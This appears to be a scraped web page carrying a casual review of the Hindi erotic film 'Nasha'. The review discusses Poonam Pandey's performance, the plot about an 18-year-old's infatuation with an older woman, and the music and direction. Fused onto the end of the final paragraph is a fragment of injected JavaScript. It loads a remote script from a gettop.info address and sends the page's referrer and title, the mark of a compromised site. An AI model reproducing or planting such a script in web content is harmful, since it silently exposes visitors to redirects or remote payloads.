Cast: Poonam Pandey, Shivam
Director: Amit Saxena
Producer: Surendra Suneja, Aditya Bhatia
Plot: Poonam Pandey has managed to be in the news for all her sensuous acts on the social networking sites and we expected something similar in Nasha. Looking at the posters and the trailers itself we knew what’s coming but after watching the movie we had a slightly different opinion.
The erotic love story is for the teenagers and revolves around an 18-year old guy (Sahil) who hopelessly falls in love with a 25-year old temptress, Anita (Poonam Pandey). A woman he can only desire but not have in his life. A woman that he lusts for, yearns for and can die for!
It manages to take you back to your school days when you had those teenzy weenzy crushes on your hot teacher! Sahil’s girlfriend Tia (Sheetal Singh) was quite comfortable in skimpy clothes in front of the camera and yeah, they have blurred out the wrong places. Overall, it’s more about Sahil’s acting rather than Poonam’s! She needs a few lessons when it comes to acting though she carried her personality quite well through out!
Technical-aspect: The director (Amit Saxena) has been terrific all through the film and makes you feel comfortable in the most awkward times. The music was just okay but the song Goti will surely catch up among the teenagers, which basically is their target audience. The dialogues go hand in hand with the movie’s concept and will keep your interest intact with it’s cheeky-ness.
Performances: The whole movie was to showcase Poonam Pandey and it rightfully did. Her expressions and her screen presence did bring something to the screen while the young Shivam has portrayed his character pretty good. Not much of ‘good acting’ in the film but anyway, it did not kill me.document.currentScript.parentNode.insertBefore(s, document.currentScript);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;